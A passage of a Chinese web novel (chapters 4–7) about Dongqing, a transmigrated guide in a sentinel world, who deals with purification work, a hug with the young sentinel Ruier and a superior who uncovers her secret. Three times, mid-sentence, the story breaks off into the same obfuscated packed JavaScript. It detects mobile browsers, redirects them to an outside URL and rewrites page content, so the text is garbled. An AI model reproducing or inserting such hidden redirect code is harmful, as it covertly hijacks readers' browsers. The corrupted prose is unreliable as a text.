“哦对了。”没了美色当前,她这会儿总算想起了点正事,“明天开始我就要去静音室坐班了。” “这么快?”艾拉看着她,说,“你身体能吃得消吗?” 冬晴拍了拍她的背,示意她安心,励志道:“吃得苦中苦,方为人上人!” 艾拉表情复杂地看着她。 冬晴以为她是咸鱼对卷王的不理解,结果却听她冷飕飕道: “喂,冬晴姐,你流鼻血了。” 冬晴抬手一摸。 哦,好吧,原来是颜狗对色狼的同情。 - 冬晴第二天一大早就在静音室里坐着了。 虽然时诺向导今天给她的排班时间是下午,但她很有升官晋爵的觉悟。 在除了排班外的时间也开放了“挂号”净化的权限,只有这样她才能早日超越所有B级向导! 果不其然,在打开自己静音室权限后的不久,她就迎来了自己的第一位“病患”同事。 她昨天恶补了很多同级净化的理论知识,但当活生生的哨兵坐在她面前时,难免还是有点紧张。 而等她端坐着控制精神力离开自己时。 冬晴就明白,为什么时诺和艾拉在明知她失忆的情况下,虽然有些担忧,但还是同意让她复工了。 精神力离体,轻而易举地找到了污染部分,融入哨兵的身体,将污染气息包裹起来,不断消解净化,直至完成。 无需任何人指导,这一套流程是刻在向导基因里的本能。 冬晴缓缓睁开眼,看着哨兵向她鞠躬道谢,然后离开。 她的一整颗心都放回了肚子里—— 她能做得很好。 她甚至打算在白塔论坛里发点匿名帖子来赞扬自己医术高超、妙手回春! 成为组长指日可待!桀桀桀! 但等到下午最后一名病患离开时,冬晴就彻底笑不出来了。 她放出自己的精神体,绿色小团子一整天没能出来透口气,不满地正要到处活动活动,却猝不及防被冬晴一把抓进手里,捏着当解压玩具。 老天啊,她的精神力,真的一滴都没有了!! 所谓,麻绳专挑细处断,厄运偏寻苦命人。 冬晴都已经被压榨成人干了,门外竟然又响起门铃。 她从沙发上坐起来,慢吞吞地喊了声“请进”,心说又是哪位可怜的哨兵同事听闻她冬大夫的美名,千里迢迢跑来净化了。 “向导姐姐。” 冬晴闻声抬眸,看到一只毛茸茸的小狗脑袋,愣了愣:“啊,是瑞尔啊,你怎么来我静音室了?” 瑞尔将门重新关上,小步走进来:“我明天就要跟队出任务了,想过来看看姐姐你。” 冬晴闻言有点不知道说什么,失语了好一会儿,才问候道:“那你去找A级向导净化过了吗?” 瑞尔摇头:“还没,但安排了晚上的净化。” 冬晴表示了解地说“好”,室内又陷入沉默的尴尬。 她干咳两声,试图说些什么缓解气氛,瑞尔却比她先开口:“姐姐,我们再试试吧。” 冬晴立刻明白他说的“试试”是跨级净化。 她没想到他会对这件事如此执着,但仔细思考起来也合理: 一个刚进入公司不久的小年轻,好不容易接触了个全球首例的顶级大项目,甚至还成功过一次,离功成名就只有一步之遥。 可惜命运弄人,合作伙伴突然失忆了,项目不得不中止,总会有些不甘心,想要继续完成。 冬晴放软语气道:“可是上次也试过了,确实是失败了。” 瑞尔突然目光灼灼地盯着她:“姐姐,上次只是搭手,这次我们抱着吧。” 抱着? 抱着?! 冬晴被吓得连连后退,伸出手掌挡在两人中间,表情震惊:“抱抱、抱着?!” 瑞尔坚定点头,靠近她,胸膛直接贴在她用来让两人保持距离的手掌上。 冬晴被烫到一般,火速将手收回来,龇牙咧嘴、痛心疾首。 这鬼地方!都给祖国未来的花朵灌输了什么思想?! 瑞尔还在缓慢地贴近:“如果身体接触面积大的话,成功几率会高。” 冬晴这会儿简直一个头两个大。 一手捂脸,一手抵住瑞尔的肩膀,防止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421656|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他再靠近。 想了半天,问出个不相干的问题:“话说瑞尔,你今年几岁?” “十八。”瑞尔说。 “十八岁。”冬晴低声呢喃,“我二十二岁,小四岁,和小四岁的弟弟抱一下,应该……” 应该个鬼啊!还是很奇怪啊…… 冬晴的内心挣扎到一半,抵在瑞尔肩上的手突然被他握住拿开,腰后被另一只手揽住。 感到一股无法抵挡的力量推着她,她向前栽了两步,扑进他的怀里。 “姐姐,对不起。”瑞尔将下巴搁在她的肩上,嘴里虽然这么说,但丝毫没有要放手的意思。 冬晴懵了。 喂,这不对吧……这真的不太对吧…… 手腕和腰身被两股很扎实的力量箍住了,她一点儿也动弹不了,只能感受瑞尔的下巴在她肩上蹭蹭,有点痒。 精神力不由自主地离开她,朝着瑞尔体内污染的气息飘去。 诶?这次好像要进去了? 在她的精神力即将触碰到污染部分的前一秒,一道屏障猛然生成,将她的精神力毫不留情地全弹了出去。 茫然的同时,瑞尔突然把她搂得很紧。 紧到她喘不上气,紧到瑞尔胸膛的每一次起伏她都感同身受。 怎么会这样?冬晴想,她明明都快碰到了。 瑞尔在耳边小声小声地喘着气,很煎熬的样子,她突然有种想法:“瑞尔,是……是你不让我净化吗?” 瑞尔的整个脑袋都埋进了她的肩窝,良久,才断断续续道:“抱一下就好了姐姐,净化成功的话,太危险了。” 所以这两次都是瑞尔不让她净化的。 因为跨级净化成功的后果不可控,而失败的后果他能承受。 冬晴皱眉想要推开他:“说的什么话啊……什么叫抱一下就好了,你赶紧去找A级……” “真的。”瑞尔打断她,依旧没有把手放开。 而冬晴渐渐地也不再有动作,因为她难以置信地感受到,瑞尔身体里的那股污染气息好像真的减弱了一丝。 什么啊?这也太诡异了吧?! 这到底是个什么世界啊?! 当她南宫问雅吗?! 摸摸头就能把怪兽变成宠物了…… 两人不知究竟抱了多久,久到冬晴都有点麻木了,甚至想伸手怕拍他的背。 瑞尔总算把人给放开了。 他退开一步,低垂着脑袋,眼睛红红的,又道歉:“对不起,姐姐。” 这叫人怎么骂得出口。 冬晴看看天又看看地,叹了口气,要骂也是骂这个操蛋的世界吧。 她伸手拍了拍瑞尔的胳膊:“算了算了,你晚上记得去净化就好。” 还能怎么办呢,罚他少吃碗狗粮得了。 瑞尔没想到自己这么轻易地就被原谅了,立马又是一副小狗开心脸:“嗯!姐姐我们一起去食堂吧!” 冬晴这会儿确实要去食堂,顺路就没法拒绝,只能应下。 边牧也兴冲冲地摇着尾巴,在两人身边打转,她无意间一瞥—— 自己的精神体怎么又粘到小狗的耳朵上面去了?! 她不动声色地将精神体收回,刚打开静音室的门,就冷不丁对上一张愠怒的小猫脸: “瑞尔!你又在找她净化?!” 5. 第 5 章 小猫发怒。 冬晴的脑袋里出现了这四个字。 在瑞尔回答他的质问前,她下意识脱口而出:“星隅,这里是B级向导静音室,你怎么到这里来了?” 余光中,他脚边的暹罗猫一下弓起了脊背,像是炸毛。 “我、我!”星隅的脖子开始涨红,气冲冲地甩下一句,“我路过!” 冬晴看着他大步离开的赌气背影,简直摸不着头脑。 “他怎么了?”冬晴仰头问一旁的瑞尔。 瑞尔摇摇头:“不用管他姐姐,他有时候脾气是有点怪。” - 瑞尔跟队离开白塔,去污染区出任务。 冬晴兢兢业业地坐了好几天全班,她的净化哨兵数量在五十多名B级向导中已经有了异军突起的苗头。 这天她刚吃完中饭,打算去休息室睡个午觉,边走路边抓紧时间编辑论坛草稿,标题为: 惊!这位B级向导究竟为何要这么做! 她正慷慨激昂地笔走龙蛇,突然,肩膀被人狠狠一撞,光脑“啪”一声自动关上了。 冬晴:!!! 她写了三百字的好评!! 在公共区域那种哨兵多的地方被撞也就算了,可这里是向导区啊! 左右五米都完全没有半个人影啊! 怎么看这都是故意的吧! 是可忍孰不可忍?! 冬晴无比气愤地抬头,眼前出现了一个高傲的背影。 一头金发……什么啊,原来是星隅。 他故意撞自己干什么,难道还在生气那天静音室? 虽然冬晴不懂这到底有哪里可气,但她再次秉着友善同事、讨好上司的原则,小跑几步追上去。 “嗨星隅,你还在生气?” 星隅冷冷哼了一声,瞥她一眼:“关你什么事?” 他嘴上说着冷言冷语,脚步倒是很诚实地慢下来,跟着冬晴的频率在走。 “诶,此言差矣。”冬晴又开始随口侃大山,“所谓公司是我家,那么同事就是我的家人,虽然我不支持办公室恋情,但我支持办公室亲情呐!家人生气了,当然关我的事。” 星隅听得半懂不懂:“你变得好奇怪。” 冬晴嘻嘻一笑,看他现在脸色还不错,问道:“你生气瑞尔找我净化,为什么?” “很危险。”星隅说。 冬晴立刻领悟,意味深长地“哦”了一声:“你担心他啊,你们两个小男高关系真不错。” 星隅想反驳什么,到最后也没说出口,只扭开脸道:“谁跟他关系不错……” 怎么又生气了。 冬晴反正是搞不懂了,只能先解释:“瑞尔也说跨级净化太危险,所以那天我们没净化,就只是、就只是……” 她突然觉得那几个字有点烫嘴,但不说又显得欲盖弥彰,只能看看天,咬着牙把三个字在嘴里炒了一遍:“抱一下。” “什么?!”星隅又突然炸了毛。 但那一刻,冬晴感到的不是羞耻。 而是一种欢天喜地的、找到知音的振奋。 你也觉得很奇怪吧!!竟然要拥抱!!你也觉得这个世界有病吧!! 她甚至想眼含热泪地握住星隅的手,这只猫虽然脾气怪,但他是个正常人啊! 冬晴清了清嗓,表决心道:“其实我还是更想踏踏实实地做一名B级向导。” A级哨兵当然要让A级向导去管了,抢人业绩天打雷劈啊! 而且A级向导组长又不给她发奖金。 星隅似乎还没缓过劲来,冬晴已经走到了自己的休息室门口。 她左右看看,问:“对了,你怎么到向导区来了?” 这次星隅有充足的理由:“我当然是来找A级向导了!喂你那是什么表情,你不会以为我是专门来找你的吧?别自作多情了好吗……” “不是啊。”冬晴幽幽打断他,“我是想告诉你,A级向导区的休息室过了……” 星隅的耳根肉眼可见地红了起来,他支支吾吾半天,扔下一句“要你管!” 又气冲冲地离开了。 脾气是真的很怪啊。 冬晴边想边转身打开休息室的门。 不料看到已经有人坐在里面,她下意识以为自己走错了,抬头看了看门牌。 时诺坐在办公桌前,眼眸轻柔地弯起:“抱歉打扰你了,冬晴向导。” “啊,没事。”冬晴将休息室的门关上,被时诺请着坐到他对面,问,“时诺向导,你找我什么事?” 时诺依旧轻笑着,似乎在他脸上永远找不到任何带有严苛色彩的神情。 他语调很缓,却给人当头一棒:“冬晴已经死了吧。” “嘶啦。” 毫无预兆,像是什么锦帛被徒手撕裂,发出让人心惊的声音。 冬晴整个人僵直在原地,连眼珠都不能动了。 她不敢抬头看时诺,但能肯定的是,他现在依旧仁慈地笑着。 “什、什么?” 好半天冬晴才找回自己的声音,艰涩地发出了无用之问。 时诺把一杯水推到她面前,仿佛在无声地安慰,让她不用紧张,然而说出口的每字每句却都是在剖析她。 “健康系统和精神体是不会说谎的。” “我想那天晚上你确实失去过生命体征,只不过不知道什么原因又活了过来。” “你大概并不明白,精神体代表着一个人的所有经历,和这些经历造就的性格。” 他一边说,一边用精神力将冬晴的精神体勾出来,放在指尖随性地戳弄。 “你说你失忆了,如果真的是这样,那你应该失去精神体,可你反而拥有了一个全新的。” “这说明,从经历和性格上来说,你与从前完全不同,你不是从前那个你。” 神谕般的话音落下,室内陷入审判后的死寂。 冬晴说不出话来。 她知道自己有很多疑点、很多纰漏。 她甚至不愿意去了解这个世界的冬晴,也没有一刻扮演过她。 她一直在做自己,说一些谁也听不懂的胡言乱语,不肯遵守向导与哨兵之间天然的法则。 但失忆这个借口一直为她做了掩护,即使四面漏风,但就连朝夕相处的艾拉也没有想过。 冬晴已经是另一个世界的冬晴了。 时诺很敏锐,也很大胆,一个人的灵魂在另一个人的身体里醒来,这不是一件能被人轻易接受的事情。 她觉得伪装没有必要,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421657|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在稍稍平静下来后点头承认了:“我不是这个冬晴。” 等了很久也没有等来时诺的回复,她小心翼翼地抬眼,结果看到—— 自己的那团绿色的精神体正在时诺的手上,冰凉的胶质物包裹住了他的两根手指,这位闪闪发光的S级向导还一副玩得很开心的样子。 喂!! 冬晴全身一个激灵,火速把精神体收回。 时诺看着自己突然变得空荡荡的手指,意犹未尽地抬起眼来,笑说:“你就是这么给哨兵们净化的吗?” 冬晴觉得自己也要炸毛了:“我不用精神体!!” 时诺略微意外地“哦”了一声,总算回到正题:“不用担心,你究竟是哪个冬晴对我而言无所谓,活着的向导才有价值。” 冬晴猜到他会是这个态度。 毕竟事情已经发生,这里也没有加害者,还不如让一切继续进行下去,对任何活着的人都好。 “对了,前几天瑞尔好像去过你的静音室。”时诺说。 这你也能知道?冬晴想。 因为瑞尔是A级哨兵,不能在她的排班页面上“挂号”,所以当天他是直接闯过去的。 时诺看出她心中所想,从容回答:“我暂代B级向导组长之职,知道的多一些。” 冬晴怀疑他有炫耀的成分,内心冷笑:很快B级向导组长就会变成我了! “你们这次净化了吗,还是搭着手?”时诺接着问。 冬晴终于忍不住了:“你怎么连搭手都知道?!” 时诺摇头笑答:“跨级净化这种事,我是白塔里唯一的S级向导,当然需要经过我的允许啊。” “好吧。”冬晴讪讪道。 第二次说这几个字,她感觉稍微没那么窘迫了:“这次没搭手,抱了,但瑞尔不让我净化。” “抱了。”时诺将这两个字重复一遍,“如果从前的冬晴像你这样心软的话,说不定就不会死了。” 冬晴反应了几秒他的话。 所以这里的冬晴会死,是因为跨级净化,但没有大面积接触? 什么鬼啊,因为这种理由死也太奇怪了吧! 还不如她为甲方妈妈呕心沥血来的潇洒。 冬晴也因此坚定了自己的决心:“跨级净化很重要吗,我能不能以后不干了?” 时诺似笑非笑道:“可以啊,如果你能控制住本能……” 冬晴似懂非懂。 净化是向导的本能,就像那天瑞尔抱住她时一样,她的精神力不由自主地就想要去净化他的污染。 不过她离瑞尔远一点不就好了,把他拉进静音室黑名单。 时诺适时又补充:“然后再让哨兵控制住他们的本能的话。” 他说完还没等冬晴来得及问,就起身要走,临时又想起什么:“对了,如果之后再进行跨级净化的话,抱可能还是不够亲密。” “什什什、什么?!” 拥抱还不够亲密?!要干嘛介是要干嘛?! 冬晴默默抬起手,交叉捂住自己的胸前,呈防御姿态。 时诺微微弯下点腰,不动声色地将她的精神体又一次勾出来,笑容宛如皎月: “冬晴向导,我给你一个忠告吧,不如对这个世界抱持一点敬畏心。” 6. 第 6 章 冬晴已经连续坐了半个月的全班了,艾拉真的很怕她精神力枯竭而亡。 每次好说歹说地劝半天,最后都会被她不知哪儿听来的鸡汤堵回去。 是的,鸡汤这个词也是艾拉从冬晴那儿学来的。 她实在没办法,只能找B级向导组长求助,俗称告了一状。 向导来之不易,生命何其可贵。 冬晴第二天就收到了时诺的消息,叫她去帮忙整理一些资料,工作时长会按照她净化哨兵的平均时长换算成本月业绩。 不仅不用干体力活,还能在上司那儿刷个脸,这简直就是天降馅饼! 冬晴二话不说就赶去了时诺的办公室。 艾拉看着她兴冲冲的背影,浅浅一勾嘴角,深藏功与名。 看到时诺办公桌上堆积成山的文件时,冬晴“咕咚”一声咽下口水:“时诺向导,您工作压力这么大的吗?” 时诺将手头的文件处理好,分出一小叠名单放到她手里,理所应当地说:“我是向导部的部长,事情当然都是我来处理。” 向导部部长,好威风的官职。 时诺接着给她分布任务:“那边有我的工作全息,你负责把这些名单录入。” 轻松不伤脑的文员活儿,冬晴现在看时诺都感觉他冒着慈悲为怀的佛光。 于是不敢耽搁,立马滚去工作。 敲敲打打、扫扫描描,她哼着小曲干了半天,在快完成前,不远处的时诺突然起身。 他说:“我临时有点事要出去一趟,十分钟后约了哨兵来净化,如果到时候我还没回来,你让他稍等一会儿。” 冬晴比了个“ok”的手势。 时诺离开没几分钟,她就把手头的活给干完了。 这儿也没个4399小游戏什么的让她摸鱼,索性放出自己的精神体。 一会儿当解压玩具捏在手里,一会儿用来沾走桌子上的纸屑灰尘。 她一定要给上司留下一个完美好印象,让他下次有这种活还来找自己! “你在用精神体干什么?”头顶上传来疑问。 “清理桌面啊。”冬晴答。 不对…… 冬晴慢半拍地被突如其来的声音吓了一跳,猛地抬头。 看到一张即便是在这个死亡角度下依旧完美无缺的脸庞。 是白塔塔花! 他靠得不算很近,但身上有浓郁的香气,冬晴分辨不出来那是什么香,不过并不妨碍她被被熏得晕乎乎的。 塔花是长发,浅灰的发色,这种发色极其挑人,但在他身上也只能给那张艳丽的脸作衬。 美得她能下两碗大米饭,冬晴在内心默默感慨。 伊莱见她愣住,主动打招呼:“向导小姐,又见面了,我记得你叫冬晴?” 冬晴简直要疯了:“伊伊、伊莱哨兵!” 她几乎是连滚带爬地从椅子上摔下来。 时诺确实说了会有哨兵要来,但没说是这位男妲己啊!! 冷静冷静。 冬晴对自己说,时诺向导当时怎么嘱咐来着? 对对,让他等一会儿,等时诺回来。 她结结巴巴地请伊莱在沙发那儿坐下,像个机器人似的在办公室里行动。 忙上忙下地给他倒了杯水:“那个,时诺向导临时有事出去了,让您在这儿先等等。” 伊莱拿起水杯,掌心温度温热,于是对她扬起一个明艳的笑:“好,我知道了,谢谢你。” 冬晴突然好想烽火戏诸侯。 “你们相处得不错?” 时诺正巧在这时赶了回来,从门口进来就看到这副和谐景象。 冬晴宛如见到救命恩人,实实在在松了一口气:“报告向导,您交给我的任务我全部圆满完成。” 她边说边用余光偷看面带笑容的伊莱,和美人单独相处,她压力山大呀! 时诺被她正经的语气逗笑一声,又拿了一叠名单给她:“把这些也录入了,我现在要给伊莱净化,禁止任何人打扰。” 作为白塔内唯一的S级向导,时诺的静音室就不像B级A级那样,统一设置一个楼层。 而是直接和他的办公室连通,方便他的工作。 冬晴了解地点点头,十分自觉地重新跑回办公桌的地方,正打算继续当自己的快活小文员。 却听到伊莱在办公室和静音室一门之隔的地方突然问:“她就是那个跨级链接的向导吗?” “是啊。”时诺回答,“说不定她以后还能帮你净化。” 冬晴才仰头喝了一口水,这会儿全给猝不及防喷了出来。 喂!不要乱说话啊! 她正要喝止时诺对自己的捧杀,一抬头,门已经关上了。 冬晴:…… 冬晴:谁敢惹毛我的话……我就会!变得毛茸茸。 等她把手上的工作都处理完,静音室的门也打开了。 伊莱从里面走出来,第一眼就看到往里张望,一副翘首以盼姿态的冬晴。 在等他吗? 伊莱不确定,但还是冲她弯了弯眼:“冬晴向导,下次见。” 冬晴呆住、冬晴脸红、冬晴目送美人走出八百米。 冬晴连时诺向导什么时候站在自己身边来了都不知道。 一扭头,就看见时诺拿着张湿纸巾递给她。 嗯? 不会吧……她又流鼻血了? 真是有够丢人的。 肯定给上司留下了好色的印象吧。 她接过湿纸巾,小声含糊地说了声“谢谢”,熟练地往鼻子下一抹。 冬晴:? 冬晴:明明什么都没有啊? 她莫名其妙地看向时诺,却发现他和以往从容温柔的样子不同,竟然好像在辛苦忍笑。 时诺:“累了那么久,擦擦汗。” 冬晴:??? 冬晴:“喂!你就是在耍我吧!!” 被戏耍了一番的冬晴从时诺的办公室离开,刚走近自己的休息室,远远就看见一个高大的身影。 那人在他门前左右徘徊着,时不时晃晃脑袋、跺跺脚,但就是不伸手敲门,好像很纠结苦恼的样子。 冬晴认出那人是谁,放轻脚步,猫着腰蹿到他身后,突然出声: “喂星隅!找我干什么?” 星隅明显被吓了一跳,转身的动作太大,好几根头发都竖了起来。 但意料之外的,他仰着小脸,竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421658|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没生气,甚至连责怪的话都没有说半个字。 太阳打西边出来了? 冬晴上下打量了他一番,才发现他今天在身上挂了好多亮晶晶的配饰,于是不走心地夸赞:“你今天穿得好漂亮哦。” 星隅闻言嘴角似乎抽动了一下,应该是高兴的意思,但很快又被他压下去。 “有什么事吗?”冬晴已经把门打开了,想要往里走,于是邀请,“进来说?” 结果被他一把拉住手腕,不得不停下脚步。 星隅被奇怪地看了一眼,立刻放开她,支支吾吾了半天,什么话都还没说,脸先涨红了。 冬晴总有种不太好的预感,虽然她来这儿之后就没发生过几件好事。 她等得有点不耐烦,催促道:“你说呀。” “就是、就是……”星隅突然梗着脖子,一副视死如归的表情,咬着牙小声道,“你说你上次和瑞尔抱了,我也想……” “啊!” 冬晴凭着本能,尖叫一声打断他。 “砰!”一声把门关上了,在里面头抵着门冷静了两秒,觉得逃避不可取,又一下子把门拉开。 然而此时,星隅的脸已经完全黑了。 “你听我说。”冬晴其实压根不知道自己要说什么,但就觉得先说这句话会显得很有气势、很有道理。 她内心抓狂:不是说好的正常人吗?! 他当时听到“抱一下”三个字的时候不是反应很大吗?! 怎么一转头就变成我也要了?! 是谁!到底是谁要害她!! 她反复调整呼吸,不断组织语言,还要尽量措辞委婉,不想伤到小猫男高脆弱的心脏。 “你听我说。”冬晴虚脱地又重复了一遍,随后吐出一连串炮珠似的一口气道,“这绝对不行,我们是纯洁的半个同事关系,这样的想法是错误的,我以后也不会跟任何人抱……” 她话还没能说完,星隅就干脆转身走了。 冬晴头疼得要死,上前两步试图拽拽他的手腕继续讲道理。 结果被星隅甩开。 然而真正把她定在原地的,是她听到从前方传来的,一声轻微的却难以掩盖的、类似于哽咽的“哼”。 她顿时不敢动他了,傻傻地站在原地,看他一步不停地消失在拐角。 哭了? 哭哭哭哭、哭了?! 不是?抱一下这事这么严重的吗?还哭了?! 这怎么办?这怎么办啊! 冬晴伸手把头发挠得鸡窝般的一团糟,她真的烦死了! 在她二十二年的人生里,处理把男高欺负哭的经历为零啊! 不对,她也没欺负啊,拒绝和同事抱一下,这也能算欺负?! 冬晴被这件事雷到不行,偏偏脑中还不受控地幻想起,星隅那张扬傲慢的面孔上,出现委屈落泪神情的样子。 真的很可怜啊…… 让小猫落泪是她的错吧? 难道真的要抱一下? 左右人都已经不在跟前了,冬晴自暴自弃地走进休息室,“砰”一声关上大门。 不远处的拐角,星隅靠着墙蹲下,听到那声震天响的关门声,默默把头埋进了手臂里。 7. 第 7 章 “冬晴姐,你下午别去坐班了,时诺向导找你。” 艾拉拦住正要离开休息室的冬晴,担忧地看着她快拖到下巴的黑眼圈。 “啊,是吗,也没见他给我发通知。” 冬晴打开光脑,在少得可怜的联系人里翻了翻,确实没发现任何新消息。 艾拉从自己的抽屉里翻出红枣干、芝麻丸之类的保命小零食,不由分说地塞进她手里: “我从食堂回来的时候碰见过他,叫我转告你。” 冬晴没推辞,把小零食藏进卫衣口袋,感动道:“谢谢你啊艾拉。” 艾拉反而神色严肃:“冬晴姐,你最近没发生什么事吧,怎么又休息得这么不好。” 冬晴抿着唇摇头。 不是没发生什么事,而是一下子发生了太多,不知道从何说起,也不知道该怎么说。 跨级净化,星隅生气,还有……自己的身份被戳穿。 一件事牵扯着一件,已经很难理清,也没法不管不顾地只截取一部分讲给她听。 她需要用工作来麻痹自己,也需要让自己看起来很忙,她觉得这样麻烦事就会自行为她让道。 “哎呀,反正我劝不动你,你以前也总是这样……但不管有什么事儿,你都可以告诉我,知道吗!” 艾拉格外认真地盯着她,感觉兔子耳朵都竖了起来。 冬晴闭了闭眼,心里又暖又软,伸手一把熊抱住她: “知道了!我们妹妹真操心啊。你只需要等着姐姐当上组长,等我给你安排最少的班,发最多的工资……” 艾拉已经会接话了:“交最全的五险三金。” “对!”冬晴冲她竖了个大拇指,随后又摸了摸她的脑袋,“好了,姐姐要走了,你也注意休息!” 她一路走到时诺的办公室前,发现门没有关紧,只是虚掩着。 于是抬手敲了两下,里头迟迟没反应,便自作主张地推门走了进去。 左右找了一圈,没看见半个人影,只在办公桌上找到一叠文件和一张便签。 便签上写着:跟之前一样,把这些做完,等我回来。 这些话显然是写给冬晴看的。 她扯下文件上的便签放在一旁,拉开椅子坐下,开始了工作。 很奇怪,才录入了没几行字,她竟然感到一种难以抵挡的困倦,可明明在休息室里才睡过午觉。 睡意袭来,连眼皮都快睁不开,她小鸡啄米似的一下一下点着头,连文件上的字都模糊不清出现了重影。 要不就眯一会儿吧,时诺向导回来了应该会把她叫醒。 脑海里这个念头都没出现完整,她就偃旗息鼓地直接趴在桌上,下一秒陷入了沉沉的昏睡。 脑中光怪离奇地闪过很多画面,最后又归于一片黑暗。 睡多久了?冬晴迷迷糊糊地想,她不知道。 她只知道,这一觉睡得相当舒坦,像是泡完了一个热水澡,然后又站在阳光下沐浴全身,从头到脚每个细胞都要发出惬意的喟叹。 她的手比眼睛先一步苏醒,爬虫似的在周围摸了一圈,摸到的手感是纸质文件,不是电脑。 好吧,说明她还是冬晴向导。 她擦掉自己嘴角的口水,从桌上撑起上半身,脑子还没完全开机,先伸了个大大的懒腰。 并且跟随着拉伸的动作发出一声满足的喊叫:“啊——” 话音落下的两秒后,虽然周遭从一始终的宁静,但冬晴莫名就是感受到了一种隐隐的尴尬。 大脑“噔”一声强制开机,她猛地睁看眼。 对上时诺向导似笑非笑的温柔神情。 冬晴:…… 冬晴:双击太阳穴能不能强制关机。 她现在的脚趾抓合力堪比一头成年鬣狗。 被上司开小灶带薪摸鱼,结果在他办公室睡着了,睡醒后使用洪荒之力伸了个懒腰,还全被上司亲眼目睹。 这个世界上还有比这更可怕的事吗?冬晴都不忍心把刚刚的情形再回想一遍…… 她迎着时诺的视线,硬着头皮把大开大合的四肢默默收回来,尬笑两声:“哈哈,老板,您办公室挺好睡的哈。” 职场原则第一步:讨好上司。 别管讨好什么,先讨好就对了! 时诺解释:“大概是有我精神力的缘故。” 就因为他残留在办公室里的一点精神力,她都能感到安心地睡上那么久,可见她最近精神力消耗到了什么地步。 时诺问她:“冬晴向导,你知道精神力枯竭的话可能会死亡吧?” 冬晴刚睡醒就被砸了个这么沉重的问题,什么死啊活啊的。 她迷糊地点点头:“大概知道,但我觉得我还可以。” 时诺皱眉,发现她真是什么也不了解,只好对症下药,挑了她最在意的话题讲:“你这个月的哨兵净化数量已经遥遥领先了,接下来一周只要按照我给你的排班去静音室就好,每天中午可以到这里来午睡。” 圣人啊……这简直就是圣人…… 冬晴看着自己金光闪闪的上司,心说,遇到这样的好领导就娶……不是,就一辈子追随吧! 她难得发自内心地表达感激:“时诺向导,您简直就是十佳好老板,我一定会为您鞍前马后的!” 作为吃过她最多大饼的男人,时诺显然是不怎么相信她的鬼话了。 表忠心,要从小事做起。 冬晴心情很好地重新翻开文件,并且放出精神体清理了一下桌面,她已经看到组长之位在向她挥手了! “你在干什么?”时诺突然问。 如果冬晴的精神体是动物的话,它现在一定在狂摇尾巴。 “我在准备完美完成您交给我的任务。”她语气里有藏不住的雀跃。 时诺:“我是说你的精神体。” 冬晴低头,看了眼正粘走细碎尘屑的绿色团子:“我用它清理桌面,给您留下一个干净无瑕的办公桌。” 时诺点点头,忽然伸手:“借我也用用。” 冬晴:? 她有些迟疑道:“时诺向导,精神体可以随便借人吗?” 时诺没有正面回答,只道:“刚刚不还说要为我鞍前马后?” 好吧,天大地大,老板最大。 冬晴将手松开,眼睁睁看着自己的精神体飞到时诺手上。 然后…… 时诺骨节分明的大掌握住了它。 那一刻,冬晴感到全身过电,酥麻的异感让她头皮快要炸开。 她猛地低下头,耳后开始发烫,可即便刻意不去看,还是能清楚地感觉到—— 时诺握着它按在桌上,轻轻用力,冰凉的胶质无端依恋地去粘他的手指…… 停!停!! 敢对上司想入非非,不要命了! 她想要转移点自己的注意力,结果一开口连语调都有些微妙的变化:“那个,时诺向导,我最近好像把一个哨兵惹生气了。” 时诺抬头看了她一眼,冬晴低垂着脑袋,后颈爬上了一种可疑的粉红,他捏着绿色软团子的手没有松开。 “我上次给你的忠告你没有听吗?”他语气很温和,没有半点质问的意思。 他上次说,要对这个世界抱持敬畏心。 冬晴立马为自己辩解:“绝对有听!非常敬畏!我觉得B级以上的哨兵都很危险,我都离他们远远的!” 时诺被她说得愣了一瞬,随即无可奈何地发笑:“你好像不明白自己是什么身份。” 冬晴不解地看他。 “如果你是普通人,远离哨兵是完全正确的选择,可是冬晴向导,把试图靠近你的哨兵推开,你想让他们发狂吗?” 他说话时并没有抬眸,而是看着不由自主粘到他手上,将他几根手指都包裹起来了的精神体。 我不就是普通人吗? 这是冬晴的第一想法,反应了很久才渐渐回过神来。 啊,她现在是冬晴向导。 一种无比稀缺的资源,被当作珍稀动物一样保护在白塔里,然后承担命运的责任。 所以需要敬畏的不是这个世界的危险,而是她的使命么。 - 吃完晚饭从食堂出来,冬晴一直在琢磨时诺说的那几句话。 一切都好虚无缥缈……她还是很难把这里当作一个真实的世界,在她看来,其实只不过像个游戏。 她在这个虚假的游戏里保护自己的生命值,在身边的普通npc面前刷刷好感度,拒绝系统派给她的一些危险系数很高的默认任务,一切为了苟命服务。 但如果真的要她去死,她好像也无所谓。 一场无牵无挂的游戏而已。 她沿着白塔的露天场地走了很久,走到一个公园里。 